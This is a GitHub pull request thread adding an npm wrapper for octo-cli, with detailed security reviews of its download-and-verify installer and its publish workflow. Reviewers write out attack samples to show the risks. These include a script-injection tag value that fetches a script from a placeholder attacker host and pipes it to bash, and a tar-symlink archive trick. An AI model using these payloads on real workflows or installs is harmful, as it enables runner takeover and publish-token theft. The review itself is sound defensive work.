feat(npm): add @mininglamp-oss/octo-cli npm wrapper#27
Conversation
Distribute octo-cli via npm for Node-based agent runtimes. The package is
a thin wrapper: postinstall downloads the prebuilt Go binary matching the
package version and host platform from the GitHub Release, verifies its
sha256, and the `octo-cli` bin shim execs it.
- npm/ — package.json (bin: octo-cli), install.js (download + checksum +
extract, with a friendly PATH hint on global installs when npm's bin dir
is not on PATH), run.js shim, README
- .github/workflows/npm-publish.yml — publishes on GitHub Release; aligned
with octo-adapters' publish flow: SHA-pinned actions, `permissions: {}`,
concurrency guard, --access public, NODE_AUTH_TOKEN, a prerelease→@next /
stable→@latest dist-tag rule, and a workflow_dispatch dry-run path
- .gitignore — ignore npm/bin/ (the downloaded binary)
- README — npm install section
The published npm version tracks a real release tag; install.js downloads
octo-cli_<version>_<os>_<arch> from that release, so publishing requires a
release whose goreleaser archives use the octo-cli_ prefix (v0.6.0+).
Dependency Changes DetectedThis PR modifies dependency files. Please review whether these changes are intentional. Changed files:
Maintainer checklist:
|
lml2468
left a comment
There was a problem hiding this comment.
Review: feat(npm): add @mininglamp-oss/octo-cli npm wrapper
Verdict: APPROVED
Blocking
None.
Non-blocking
- Race condition with goreleaser: if a GitHub Release is published before goreleaser finishes uploading assets, the npm package version would be live but
postinstallwould fail for early installers. Therelease: publishedtrigger likely fires after assets are uploaded, but worth keeping in mind. - No JS-level tests: the wrapper is thin enough (~195 lines total) that this is acceptable, but a small smoke test for
maybeHintPathor the platform mapping could catch regressions.
Highlights
- Checksum verification: SHA-256 against
checksums.txtbefore extraction — correct security posture. - Clean platform mapping:
process.platform → goreleaser osandprocess.arch → goreleaser archtables align exactly with.goreleaser.yaml'sname_templateandformat_overrides. - Graceful error paths:
0.0.0placeholder guard ininstall.js,ENOENThandling with reinstall hint inrun.js, redirect limit indownload(), and themaybeHintPath()best-effort PATH warning — all solid. - Pinned CI actions: checkout and setup-node pinned by SHA, not tag — good supply-chain hygiene.
- Concurrency guard:
cancel-in-progress: falseprevents double-publish races. - Dist-tag logic: prerelease versions (
-rc.1,-beta.2) correctly route to@nextinstead of@latest. - Minimal publish surface:
filesfield limits npm tarball toscripts/andREADME.md.
REVIEW_STATE=APPROVED
Jerry-Xin
left a comment
There was a problem hiding this comment.
The PR is relevant to octo-cli, but the npm publish trigger can publish an installable-looking package before the matching release binaries exist.
🔴 Blocking
- 🔴 Critical:
.github/workflows/npm-publish.yml:14-16publishes on the GitHub Releasepublishedevent, but the existing release flow uploads GoReleaser artifacts only after the release is published in.github/workflows/release-publish.yml:33-70. That meansnpm publishcan race ahead of artifact upload, and if the artifact build/upload fails, npm will permanently contain a version whosepostinstallcannot downloadocto-cli_<version>_<os>_<arch>orchecksums.txt. Please trigger npm publishing only after artifact upload succeeds, for example by adding it as a dependent job afterbuild-artifacts, triggering from a completed release workflow, or otherwise explicitly verifying the required assets exist beforenpm publish.
💬 Non-blocking
-
🟡 Warning:
npm/scripts/install.js:65-71has an incorrect fallback prefix calculation. For a Unix global install path like<prefix>/lib/node_modules/@scope/pkg/scripts, the fallback walks past<prefix>, so the PATH hint can point at the wrongbindirectory whennpm_config_prefixis unavailable. This is best-effort only, but worth correcting if keeping the fallback. -
🔵 Suggestion:
npm/scripts/install.js:29-52buffers the full download without a timeout or size guard. GitHub release assets are expected to be small and trusted here, but a request timeout would make failed installs less likely to hang indefinitely.
✅ Highlights
- Checksum verification is present before extraction in
npm/scripts/install.js:132-139. - The wrapper keeps the npm package thin and platform-gated via
os/cpuinnpm/package.json. run.jscorrectly forwards stdio and propagates the binary exit code.
yujiawei
left a comment
There was a problem hiding this comment.
Code Review — PR #27 (octo-cli)
Thanks for this — the wrapper is well thought through. SHA-pinned actions, permissions: {}, the 0.0.0 placeholder guard, the prerelease→@next dist-tag rule, and the checksum-before-extract flow are all done right, and the npm asset naming matches .goreleaser.yaml exactly (octo-cli_<version>_<os>_<arch>.{tar.gz|zip}, checksums.txt, os/arch maps, archive root layout — all verified, no mismatch). The publish flow will produce an installable package once a v0.6.0+ release exists.
Because this is a postinstall script that downloads and execs a native binary on every npm install, I held the network/trust paths to a high bar. One issue I'd ask to be fixed before merge, plus a cluster of security hardening on the download path that is worth doing while we're here.
Requested change (blocker)
1. download() has no request/socket timeout — a stalled connection hangs npm install forever — npm/scripts/install.js
https
.get(url, { headers: { "User-Agent": "octo-cli-npm-installer" } }, (res) => { ... })
.on("error", reject);There is no timeout option, no req.setTimeout, and no response idle timeout. .on("error") fires on socket errors (ECONNRESET/DNS), but not on silence: if the TCP connection is established and the CDN then stalls (half-open connection, dropped CDN node, captive portal that accepts the socket but never sends bytes), the promise never settles and the entire npm install freezes with the last line being [octo-cli] downloading ... . npm imposes no wall-clock limit on lifecycle scripts, so nothing rescues it; in CI it manifests as an opaque job-timeout. This is cheap to fix and worth doing for a script that runs on every install:
const req = https.get(url, { headers, timeout: 30000 }, (res) => { ... });
req.on("timeout", () => req.destroy(new Error(`request timed out: ${url}`)));Security hardening on the download path (strongly recommended)
This PR was flagged security-sensitive, and these tighten the install-time ACE surface. None is exploitable against stock GitHub today; they are defense-in-depth on a path that runs unattended.
2. Redirects are followed to any host with no allowlist — npm/scripts/install.js
if (res.statusCode >= 300 && res.statusCode < 400 && res.headers.location) {
res.resume();
resolve(download(res.headers.location, redirects + 1));
return;
}The redirect target is followed blindly with no host/protocol validation. The first hop is hardcoded to github.com, and an http:// target would throw (good — no silent transport downgrade), but a cross-host HTTPS redirect (GitHub open-redirect, DNS/CDN hijack of the redirect target, or a compromised release) would be fetched from the attacker host. The only backstop is the checksum, which is co-fetched from the same hop (see #4). Validate every hop:
const u = new URL(location, currentUrl);
if (u.protocol !== "https:") fail("non-https redirect");
const ok = ["github.com", "objects.githubusercontent.com", "codeload.github.com"];
if (!ok.includes(u.hostname)) fail(`redirect to unexpected host: ${u.hostname}`);3. Checksum parser does not validate the hash shape — npm/scripts/install.js
const entry = sums.split("\n").map((l) => l.trim().split(/\s+/)).find((p) => p[1] === asset);
...
if (got !== entry[0]) fail(...)entry[0] is trusted as the expected digest without asserting it is a 64-char lowercase hex string, and a duplicate filename line silently takes the first match. This fails safe today (a garbage hash just makes the compare fail), but for a security verifier the contract should be explicit:
if (!/^[0-9a-f]{64}$/.test(entry[0])) fail(`malformed checksum entry for ${asset}`);4. (Note, not a required change) Checksum gives integrity, not provenance — npm/scripts/install.js
Both the archive and checksums.txt are fetched from the same release origin (${base}/...), so the sha256 check only proves the archive matches whatever checksums.txt that release currently serves — it catches accidental corruption, not a release-level compromise (leaked maintainer/NPM_TOKEN, malicious goreleaser run). This is the conventional baseline for npm binary wrappers (esbuild/swc do the same), so I'm not blocking on it — but for an OSS supply-chain artifact it's worth a follow-up: have goreleaser sign checksums.txt (signs: / cosign-keyless) and verify the signature in install.js, or bake the per-asset hashes into the published npm tarball at publish time so the trust anchor is the package the user already chose to install. At minimum, document that the checksum is integrity-only.
Non-blocking improvements (P2)
- No retries on transient network failures (
install.js): a single ECONNRESET / momentary 5xx from the CDN callsfail()→ exits → fails the whole install. A 3-attempt backoff for retryable errors/timeouts (but not 404 — fast-fail on wrong version is correct) matches what esbuild/swc do. run.jscollapses signal deaths to exit code 1: when the binary is killed by a signal,spawnSyncreturnsstatus === nulland the shim exits1, losing the conventional128+signum(130 for SIGINT). Callers inspecting$?for Ctrl-C, and tools distinguishing interrupt from error, will misread it. Preferif (res.signal) process.kill(process.pid, res.signal)or exit128+signum.- PATH-hint fallback walks one directory too far (
install.js, thenpm_config_prefix-unset branch):path.resolve(__dirname, "..","..","..","..", isWin ? ".." : "../..")lands one level above the real prefix (e.g. computes/usrinstead of/usr/local), so the printedexport PATH/setxhint points at the wrong dir. Best-effort and never breaks install, but it prints a misleading fix. Drop one level (5..on unix, 4 on Windows), or derive from the bin link instead of counting segments. tar/bsdtar assumed present (install.js): Windows is listed as supported, buttar.exe(bsdtar) only ships on Windows 10 1803+; on Server 2016 / older Win10 (and some minimal Linux containers) it's absent, so extraction fails with a genericextract failed: ... ENOENTafter a verified download. Detect ENOENT and emit a targeted message; optionally a pure-Node zip fallback (yauzl) so Windows doesn't depend on bsdtar.- Concurrency group keyed on
github.ref(npm-publish.yml): areleaserun (refs/tags/v1.2.3) and aworkflow_dispatchof the same version (refs/heads/main) land in different groups, so they don't serialize. Low impact (npm rejects re-publishing the same version; dispatch defaults to--dry-run), butgroup: npm-publish-${{ inputs.tag || github.ref_name }}keys both on the version.
Nits
VERSIONnot sanitized before interpolation (install.js):VERSIONis publisher-controlled (from the package's ownpackage.json), so there's no downstream-consumer injection vector, but the0.0.0guard doesn't reject a malformed version, and a/or..would flow into both the URL andpath.join(binDir, asset). A strict semver assert early closes it defensively.download()buffers the whole body in memory with no size cap: harmless for a few-MB binary; streaming to disk with incremental hashing would bound memory on a hostile redirect.- Hard
process.exit(1)on any failure, no opt-out: correct and loud for a global-gCLI; only relevant if it's ever pulled in transitively in an air-gapped/CI context, where anOCTO_CLI_SKIP_DOWNLOADescape hatch deferring fetch to first run would help. Document the intent.
Verified correct (no action)
- npm asset naming, OS/arch maps,
checksums.txtfilename, and archive root layout all match.goreleaser.yaml. - Windows
tar -xf <zip> -C dir octo-cli.exeextracts a single member correctly with Windows bsdtar. permissions: {}is correct — public checkout works and publish usesNODE_AUTH_TOKEN, notGITHUB_TOKEN.--dry-runwiring: real releases publish (DRY=""), manual dispatch defaults to dry-run — a good safety default.
Requesting changes on #1 (the install hang). #2 and #3 are small and high-value for a security-sensitive installer; the rest are non-blocking and can be addressed at your discretion.
Address review feedback on the postinstall download path and the run-shim's
exit-code propagation. None of these change the happy-path behaviour, only
the failure modes.
install.js
- Per-request timeout (30s) with req.on('timeout') destroy, so a half-open
TCP connection or a stalled CDN can no longer hang `npm install` forever.
- HTTPS-only + host allowlist (github.com, objects.githubusercontent.com,
codeload.github.com) on every redirect hop, so a redirect target outside
GitHub's release-asset path is refused instead of silently fetched.
- Strict semver assertion on VERSION before it is interpolated into the
download URL or the on-disk filename.
- Strict checksum format check (`^[0-9a-f]{64}$`) on the expected digest
parsed from checksums.txt, so a malformed entry is rejected explicitly
instead of relying on the compare to fail.
- 3-attempt exponential backoff (500ms / 1s / 2s) for transient errors
(timeout, socket reset, 5xx). 404 is treated as non-retryable so the wrong
version fails fast.
- Friendly ENOENT message for missing `tar` / `tar.exe` (older Windows,
minimal container images) instead of a bare `extract failed: ENOENT`.
- 200 MiB response-size cap on the buffered body as a defensive guard.
- PATH-hint fallback corrected: when `npm_config_prefix` is unset, the
previous walk-up landed one directory above the real prefix (e.g. `/usr`
instead of `/usr/local`), so the printed `export PATH` hint pointed at the
wrong bin dir. Drops one `..` (5 levels on unix, 4 on Windows).
run.js
- If the binary is killed by a signal, re-raise the same signal so callers
see the conventional 128+signum exit code (e.g. 130 for SIGINT) instead
of a generic 1 that hides Ctrl-C from shells and supervisors.
The `release: published` event fires the moment a release is moved out of draft, but `release-publish.yml` runs `build-artifacts` (goreleaser) only after that, so npm-publish was racing the upload. If publish won the race — or if the artifact build failed — npm would permanently contain a version whose postinstall has nothing to download. Block the publish step until every expected asset is present on the release: the six goreleaser archives (linux/darwin/windows × amd64/arm64, .tar.gz or .zip) plus checksums.txt. Poll with `gh release view` every 15s up to a 30-minute deadline; emit GitHub-Actions-style ::error:: on timeout with the missing-asset list. Other tightening on the same workflow: - concurrency.group keys on `inputs.tag || github.ref_name` instead of `github.ref`, so a release-event run and a workflow_dispatch run for the same version (different ref kinds) still serialize into one group. - Strict semver assertion on the resolved tag before any publish step runs, so a non-release tag pushed by accident can never trigger publish. - `permissions: contents: read` at the job level so the wait step's gh CLI is authorized to enumerate release assets on a public repo; no other token capabilities are granted. - `--dry-run` skips the wait so manual dispatch can be used to validate the workflow against tags that have no real release yet.
Review responses (pushed in 0508a54 + ecd8791)Tried to clear both blockers plus every non-blocking item. @Jerry-Xin
@yujiawei
@lml2468
Commits
Both pushed as additive commits to |
lml2468
left a comment
There was a problem hiding this comment.
Re-review: ecd8791 (previously APPROVED at 4db164a)
Previous Blocking Issues (from Jerry-Xin / Allen)
All three resolved:
-
npm publish ↔ goreleaser race condition ✅ — New "Wait for goreleaser artifacts" step polls
gh release viewfor all 7 expected assets (6 platform archives +checksums.txt) with a 30-minute deadline and 15-second intervals. Correctly skipped on--dry-run. Thecontents: readpermission is minimal and justified. -
Download timeout / size guard ✅ —
REQUEST_TIMEOUT_MS = 30_000,MAX_DOWNLOAD_BYTES = 200 MiB,MAX_RETRIES = 3with exponential backoff (500ms → 1s → 2s). 404 is non-retryable (fast-fail), 5xx and socket errors retry. The redirect host allowlist (ALLOWED_HOSTS) is a solid security addition. -
Fallback prefix path calculation ✅ — Unix: 5 levels (
scripts → pkg → @scope → node_modules → lib → prefix), Windows: 4 levels. Matches npm's actual global layout.
New Improvements (not in previous round)
run.jssignal propagation: re-raises the signal for proper128+signumexit codes instead of generic1— shells and supervisors now seeSIGINTcorrectly.- Semver validation before URL interpolation.
- Checksum format validation (
/^[0-9a-f]{64}$/). tarENOENT handling with platform-specific guidance.- Concurrency key uses
inputs.tag || github.ref_nameso release-triggered and manual runs of the same version serialize properly.
Verified
release-publish.ymlconfirmed:build-artifactsruns goreleaser with--skip=publish,announcethen uploads viagh release upload. The expected asset list in npm-publish matches this output.- The
getOnce→downloadOnce→downloadlayering is clean: redirect-following is separated from retry logic, and each layer has clear single responsibility. assertSafeHostruns on every hop, not just the initial URL.
No remaining concerns. LGTM.
Jerry-Xin
left a comment
There was a problem hiding this comment.
The PR is relevant to octo-cli, but the npm installer will currently reject real GitHub release downloads.
🔴 Blocking
- 🔴 Critical:
npm/scripts/install.js:25-29allowlistsgithub.com,objects.githubusercontent.com, andcodeload.github.com, but GitHub release asset downloads currently redirect torelease-assets.githubusercontent.com. BecausedownloadOnce()validates every redirect atnpm/scripts/install.js:99-103, postinstall will fail before downloading the archive orchecksums.txtatnpm/scripts/install.js:207-208. I verified this against the existingv0.5.0release asset URL, which resolves tohttps://release-assets.githubusercontent.com/.... Addrelease-assets.githubusercontent.comto the allowlist or adjust the redirect validation to match GitHub’s release asset host.
💬 Non-blocking
- 🟡 Warning: Please verify the automatic publish trigger with the existing release flow. The new workflow relies on
on: release: publishedin.github/workflows/npm-publish.yml:14-16, while the repo’s release flow appears to publish releases from.github/workflows/release-publish.ymlusing workflow credentials. If that event is suppressed by GitHub’s workflow-token recursion rules in this setup, npm publishing would only work throughworkflow_dispatch.
✅ Highlights
- The wrapper is appropriately scoped to npm distribution of the existing Go binary.
- The installer validates platform/version, checks SHA-256 before extraction, avoids shell interpolation for archive extraction, and keeps PATH changes as warnings only.
run.jscorrectly forwards stdio/arguments and preserves child exit status/signals.
…wlist GitHub release asset downloads currently 302 to release-assets.githubusercontent.com (a JWT-signed URL CDN), not the older objects.githubusercontent.com. The previous allowlist refused that hop, so the postinstall would fail before downloading the archive or checksums.txt. Verified end-to-end against the v0.5.0 release: the archive now downloads, checksum verification passes, and the extracted binary runs. Keep objects.githubusercontent.com in the allowlist as a fallback in case GitHub reverts or routes some downloads through the older CDN. Reported by @Jerry-Xin on #27.
Round-2 review responses (pushed in 0807a37)@Jerry-Xin
Commit
Plain push, no force. Replied to all of Jerry's items; @lml2468's APPROVED is already on |
lml2468
left a comment
There was a problem hiding this comment.
Re-review: 0807a37 (previously APPROVED at ecd8791)
Blocking Issue from Last Round
ALLOWED_HOSTS missing release-assets.githubusercontent.com ✅ Fixed — Single-line addition with updated comment explaining the CDN history. Verified against real GitHub release redirect chain (github.com → release-assets.githubusercontent.com).
The allowlist now covers the full redirect path:
github.com— initial requestrelease-assets.githubusercontent.com— current CDN for release assetsobjects.githubusercontent.com— legacy CDN (kept for forward compatibility)codeload.github.com— source archives
No other changes. All previous-round fixes (goreleaser wait, timeout/retry, prefix path, signal propagation) remain intact.
LGTM.
Jerry-Xin
left a comment
There was a problem hiding this comment.
Project relevance gate: pass. This PR is in scope for octo-cli, and I found no blocking correctness or security issues.
💬 Non-blocking
-
🟡 Warning: The new npm wrapper has meaningful behavior but no committed automated tests. The highest-value cases are download retry/failure handling, checksum parsing, archive extraction failure, PATH hint output, and
run.jsexit/signal propagation. Relevant areas:npm/scripts/install.js:57,npm/scripts/install.js:134,npm/scripts/install.js:216,npm/scripts/run.js:12. -
🔵 Suggestion: Quote/escape PATH hint values per shell.
fish_add_path ${binDir}and the Windowssetxhint can misbehave when npm’s prefix contains spaces or shell metacharacters. Seenpm/scripts/install.js:164andnpm/scripts/install.js:177.
✅ Highlights
- Checksum verification, HTTPS-only redirect allowlisting, retry/timeout handling, and download size limits are good safeguards in
npm/scripts/install.js. npm-publish.ymlcorrectly waits for GoReleaser artifacts before publishing, uses--access public, and keeps prereleases onnext.run.jspreserves child exit codes and handles missing postinstall binaries cleanly.
yujiawei
left a comment
There was a problem hiding this comment.
Code Review — PR #27 (octo-cli)
Security-focused review of the npm wrapper that downloads and executes a remote Go binary on npm install. The overall design is solid: HTTPS-only, an explicit redirect allowlist re-checked on every hop, SHA-256 verification before extraction, size/redirect/timeout caps, and SHA-pinned CI actions. Two issues should be addressed before merge, plus several non-blocking notes.
Findings
1. (P2) Archive extraction can extract a symlink as the octo-cli member → arbitrary chmod / arbitrary-binary execution
npm/scripts/install.js:236-239
The install extracts only the named member (tar -xzf <tmp> -C binDir octo-cli), which correctly avoids generic zip-slip from other members. However, named-member extraction does not prevent the octo-cli member itself from being a symlink. I verified locally:
ln -s /path/to/victim payload/octo-cli
tar -czf evil.tar.gz -C payload octo-cli
tar -xzf evil.tar.gz -C bin octo-cli # bin/octo-cli is now a symlink
Then fs.chmodSync(path.join(binDir, binName), 0o755) (line 239) follows the symlink and chmods the target. Confirmed: a 0600 file owned by the install user became 0755 through the extracted symlink. Subsequently run.js:12 spawnSyncs bin/octo-cli, which resolves the symlink and executes whatever it points to.
Impact: a malicious archive can (a) chmod any file the install user owns to 0755, and (b) cause octo-cli invocations to execute an arbitrary local executable.
Precondition: the archive must match checksums.txt, so this requires control of the GitHub Release contents (compromised token / malicious release), the same trust root as the binary itself. Hence P2 (defense-in-depth) rather than a remote-unauthenticated bug — but it lets a release-level compromise escalate beyond "run the binary we shipped" to "touch files outside bin/," which is exactly what extraction hardening should prevent.
Fix: pass a flag that refuses symlinks/keeps extraction inside the target. GNU tar and bsdtar both support refusing unsafe members; the most portable approach is to verify the extracted entry is a regular file before chmod:
const st = fs.lstatSync(path.join(binDir, binName));
if (!st.isFile()) fail("archive member 'octo-cli' is not a regular file");Additionally consider tar options to drop symlinks during extraction. Note this is post-checksum, so it is a deliberate "don't let a bad archive escape bin/" guard.
2. (P2) Workflow script-injection: inputs.tag interpolated directly into the publish-job shell, before validation
.github/workflows/npm-publish.yml:60-62
REF="${{ inputs.tag }}"
DRY="${{ inputs.dry_run && '--dry-run' || '' }}"inputs.tag is substituted into the run block as raw text before bash executes. A workflow_dispatch tag value of "; <command>; # breaks out of the assignment and runs arbitrary commands on the runner. Verified the rendered line becomes:
REF=""; echo PWNED; #"
The semver validation at lines 67-71 runs after the unsafe assignment at line 61, so it does not protect this step. Note line 64 already does the right thing on the release path by using the ${GITHUB_REF_NAME} env var — the inputs.tag path is the inconsistent one.
Impact: anyone able to trigger workflow_dispatch (write access) can execute arbitrary code in a job that has secrets.NPM_TOKEN available in a later step → potential npm-token exfiltration / arbitrary package publish. Gated by write access, so P2, but this is the token-handling workflow flagged security-sensitive, so it warrants hardening.
Fix: never interpolate ${{ inputs.* }} / ${{ github.* }} into a run: block. Pass through env: and reference shell variables:
env:
EVENT_NAME: ${{ github.event_name }}
INPUT_TAG: ${{ inputs.tag }}
INPUT_DRY: ${{ inputs.dry_run }}
run: |
if [ "$EVENT_NAME" = "workflow_dispatch" ]; then
REF="$INPUT_TAG"
[ "$INPUT_DRY" = "true" ] && DRY="--dry-run" || DRY=""
...Same applies to ${{ steps.version.outputs.DRY_RUN }} at line 130 (lower risk since it is internally derived, but move it to env for consistency).
3. (P2 / note) Trust model: checksums.txt is unsigned and co-located with the archive (TOFU/integrity gap)
npm/scripts/install.js:211-227 + release flow
The SHA-256 check protects against transport corruption and partial CDN poisoning, but checksums.txt is fetched from the same release as the archive over the same channel, and is not cryptographically signed (no cosign/minisign). An actor who can write release assets replaces both consistently, and verification passes. The effective trust root is GitHub Release integrity + the npm publish pipeline, not the checksum.
This is acceptable for a v1 and is the common pattern, but it should be a conscious, documented decision rather than an implied guarantee. The code comment "verify its checksum" reads as stronger than the property actually provides. Recommend: (a) document that the trust root is the GitHub Release, and (b) consider signing checksums.txt (cosign keyless) in a follow-up so the npm installer can verify a signature whose key is not co-located with the artifact.
4. (nit) No overall download deadline — slow-trickle DoS from an allowlisted host
npm/scripts/install.js:63, 81-88
timeout: REQUEST_TIMEOUT_MS is an idle socket timeout; it does not fire while bytes keep arriving slowly. A compromised/misbehaving allowlisted CDN could trickle data just under the idle threshold up to ~200 MiB, stalling npm install. Low severity (allowlisted host, capped total bytes). Consider an absolute wall-clock deadline per download in addition to the idle timeout.
5. (nit) Version regex is laxer on the npm side than in CI; permits odd prerelease strings
npm/scripts/install.js:197 vs .github/workflows/npm-publish.yml:68
The installer regex accepts +build metadata (1.2.3+build) and prerelease strings like 1.2.3-.., while the CI regex (line 68) rejects +build. Because VERSION originates from the published package.json (publisher-controlled) and these strings are embedded mid-filename (octo-cli_<v>_<os>_<arch>, not a standalone path segment), I could not turn this into path traversal — path.join(binDir, asset) stays inside binDir. Still, aligning the two regexes (and rejecting +build, since CI never produces it) removes a latent inconsistency. Not blocking.
6. (nit) Disallowed-host / malformed-redirect errors are retried 3×
npm/scripts/install.js:119-122
assertSafeHost and new URL(...) throw errors without httpStatus, so status === undefined makes them retryable. A redirect to a hostile host is correctly rejected, but only after 3 attempts + backoff. Cosmetic (wastes a few seconds, no security impact); consider marking allowlist/parse failures as non-retryable.
Non-security notes
entry.length < 2(line 221) is dead code:.find(p => p[1] === asset)already guarantees length ≥ 2 when matched. Harmless.getOncesize-overflow relies onreq.destroy(err)emitting'error'to reject the promise; this holds on the supported Node ≥ 18 floor. Fine.run.jssignal re-raise and exit-code propagation look correct.- 404 fast-fail (non-retryable) for missing release assets is the right call.
Verdict
Requesting changes for findings #1 and #2 — both are concrete hardening gaps on a script that executes a remote binary and handles NPM_TOKEN. Neither is a remote-unauthenticated RCE (both are gated behind release/write-access compromise), but they are exactly the escalation paths a security-sensitive review should close. #3 should at minimum be documented. The rest are nits.
yujiawei
left a comment
There was a problem hiding this comment.
Code Review — PR #27 (octo-cli)
Thanks for this — the wrapper is genuinely well thought through. SHA‑pinned actions, top‑level permissions: {}, the 0.0.0 placeholder guard, the prerelease→@next dist‑tag rule, strict semver validation of the version before it touches a URL or a path, the host allowlist re‑checked on every redirect hop, the size/redirect/timeout/retry caps, and the checksum‑before‑extract flow are all done right. The asset naming also matches .goreleaser.yaml. Most of my findings are on the publish workflow, not the installer.
This PR is security‑sensitive (a postinstall that downloads and executes a remote binary, and a workflow that handles NPM_TOKEN), so I reviewed it accordingly. There is one code‑level blocker in the diff.
Blocking (P1)
1. Script injection: ${{ inputs.tag }} interpolated into a run: block before validation
.github/workflows/npm-publish.yml:67 (inside the "Resolve version and dist-tag" step)
REF="${{ inputs.tag }}"The Actions expression engine substitutes inputs.tag as literal text into the shell source before bash parses the line. The semver regex at :74 runs against $VERSION only after this assignment has already executed, so it cannot gate the injection. A workflow_dispatch tag of:
v1.0.0"; curl -s https://attacker/x.sh | bash; echo "
renders the line as REF="v1.0.0"; curl -s ... | bash; echo "" and runs arbitrary commands on the runner. The injected code can plant a malicious .npmrc or background process that hijacks the later Publish to npm step, which holds secrets.NPM_TOKEN — i.e. token abuse / poisoned‑package publish (and that package itself executes a remote binary on install).
Note this is inconsistent with the very next branch: :70 already does it the safe way via REF="${GITHUB_REF_NAME}".
Severity: triggering requires repo write (workflow_dispatch is not reachable from forks/anonymous actors), which keeps it out of the "remote unauth" P0 band — but for a security‑sensitive token‑bearing workflow this is a textbook injection sink (CWE‑94) with a one‑line standard fix, and it will trip GHA linters (zizmor/actionlint). Please fix before merge.
Fix — pass untrusted inputs through env: and reference the shell variable (which is not re‑parsed as code):
- name: Resolve version and dist-tag
id: version
env:
EVENT_NAME: ${{ github.event_name }}
INPUT_TAG: ${{ inputs.tag }}
INPUT_DRY: ${{ inputs.dry_run && '--dry-run' || '' }}
run: |
if [ "$EVENT_NAME" = "workflow_dispatch" ]; then
REF="$INPUT_TAG"; DRY="$INPUT_DRY"
else
REF="${GITHUB_REF_NAME}"; DRY=""
fi
...Also move the ${{ steps.version.outputs.DRY_RUN }} interpolation on :136 into env: for the same reason (it is currently only ever --dry-run/empty, so not exploitable today, but keep the pattern consistent).
2. NPM_TOKEN-bearing publish has no protected Environment
.github/workflows/npm-publish.yml job publish (:44) + Publish step (:133-136), trigger workflow_dispatch (:23)
The job that consumes NPM_TOKEN is not bound to a protected GitHub Environment (no environment: key). workflow_dispatch is available to anyone with repo write, so there is no required‑reviewer / wait‑timer gate between an arbitrary dispatch and a real npm publish with the production token. Publish authority is effectively coupled to commit authority; combined with finding #1 this becomes package takeover, but it stands on its own even without the injection.
Fix: bind the job to an Environment with required reviewers, e.g. environment: npm-release, configured in repo settings. (This is partly a repo‑settings change, so I'm flagging it as strongly recommended hardening rather than a pure‑diff blocker — but for a token‑bearing publish path it's the canonical control and worth doing alongside #1.)
Non-blocking — recommended hardening (P2)
- npm provenance (
:136): the package runs apostinstallthat downloads+executes a binary, so consumers benefit from a cryptographic origin link for the tarball itself (the checksum only protects the downloaded binary, notinstall.js). Addid-token: writeto the job permissions and--provenancetonpm publish(npm ≥ 9.5, public repo — both satisfied here). - Symlink guard on the extracted member (
install.js:483-489): named‑member extraction (tar … octo-cli) prevents zip‑slip from other members, but theocto-climember could itself be a symlink —fs.chmodSyncand the laterspawnSyncwould follow it. This is fully behind the GitHub‑release trust root (an actor who can matchchecksums.txtcould just ship a malicious regular‑file binary), so it's defense‑in‑depth, but cheap and zero‑regression since goreleaser never emits symlink members:const st = fs.lstatSync(path.join(binDir, binName)); if (!st.isFile()) fail("archive member 'octo-cli' is not a regular file");
Nits (optional)
npm/package.jsondeclares"license": "Apache-2.0"but noLICENSEexists at the npm package root (npm/), so the published tarball ships the declaration without the license text (Apache‑2.0 §4). Addnpm/LICENSE.- Installer semver regex (
install.js:447) is laxer than the CI regex (npm-publish.yml:74) — it accepts+build. Harmless for traversal (no/allowed, version sits mid‑filename), but worth keeping in sync. checksums.txtis unsigned and co‑located with the archive — this is the standard goreleaser trust model (trust root = GitHub release integrity), but theinstall.jscomment "verifies its checksum" slightly overstates the guarantee. Consider a wording tweak and/or cosign as a future follow‑up.run.js:33-34SIGNUMStable is incomplete; the128 + (SIGNUMS[res.signal] || 0)fallback returns128for unmapped signals (e.g. SIGPIPE/SIGUSR1). Preferrequire("os").constants.signals[res.signal]. Cosmetic — the explicit re‑raise on:30handles the common cases.- No idle‑vs‑wall‑clock download deadline (slow‑trickle could stall
npm install, capped by 200 MiB / allowlisted host); allowlist/parse rejections are retried 3× before failing fast. Minor robustness.
Summary
The installer and shim are solid. The blocker is the workflow script‑injection at npm-publish.yml:67 (#1) — a real sink in a token‑bearing publish job, with a trivial env:‑based fix. Please also consider the Environment gate (#2) and provenance/symlink hardening for this security‑sensitive package. Once #1 is fixed I'd be happy to re‑review.
What
Distributes
octo-clivia npm so Node-based agent runtimes (OpenClaw, etc.) cannpm install -g @mininglamp-oss/octo-cli. The package is a thin wrapper around the prebuilt Go binary.npm/—package.json(bin:octo-cli, version is a0.0.0placeholder filled at publish time),install.js(postinstall: download the matching release archive → verify sha256 → extract),run.js(shim that execs the binary),READMEinstall.jsPATH hint — on a global install, if npm's bin dir isn't onPATH, it prints a shell-specificexport PATH=…hint (zsh/bash/fish/Windows). Warn only; never edits config..github/workflows/npm-publish.yml— publishes on GitHub Releasepublished.gitignore— ignorenpm/bin/(the downloaded binary)README— npm install sectionAligned with octo-adapters' publish flow
After comparing with
publish-octo.yml/create-openclaw-octo:--access public(scoped packages default to private)NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}viasetup-node-, e.g.v0.6.0-rc.1) publishes to@next; stable to@latest— so an rc never clobbers@latestcheckout/setup-node,permissions: {},concurrencyguardworkflow_dispatchwith a--dry-runpath for manual testingDeliberately NOT adopted: the dev-publish-on-every-merge workflow. octo-cli's wrapper downloads a binary from a matching release, so its npm version must track a real release tag — a per-merge
-dev.<sha>version would have no matching release artifact and produce an uninstallable package.Dependencies / merge order
octo→octo-clirename (refactor!: rename binary and CLI command from octo to octo-cli #26, merged): the wrapper downloadsocto-cli_<version>_<os>_<arch>archives.octo-cli_prefix — i.e. v0.6.0+. Merging this PR is safe before then; it just won't publish until such a release is cut andNPM_TOKENis set (already configured on this repo).Testing
node --checkon install.js / run.js: cleannpm pack(with a real version) producesmininglamp-oss-octo-cli-<v>.tgz--access public+ dist-tag logic present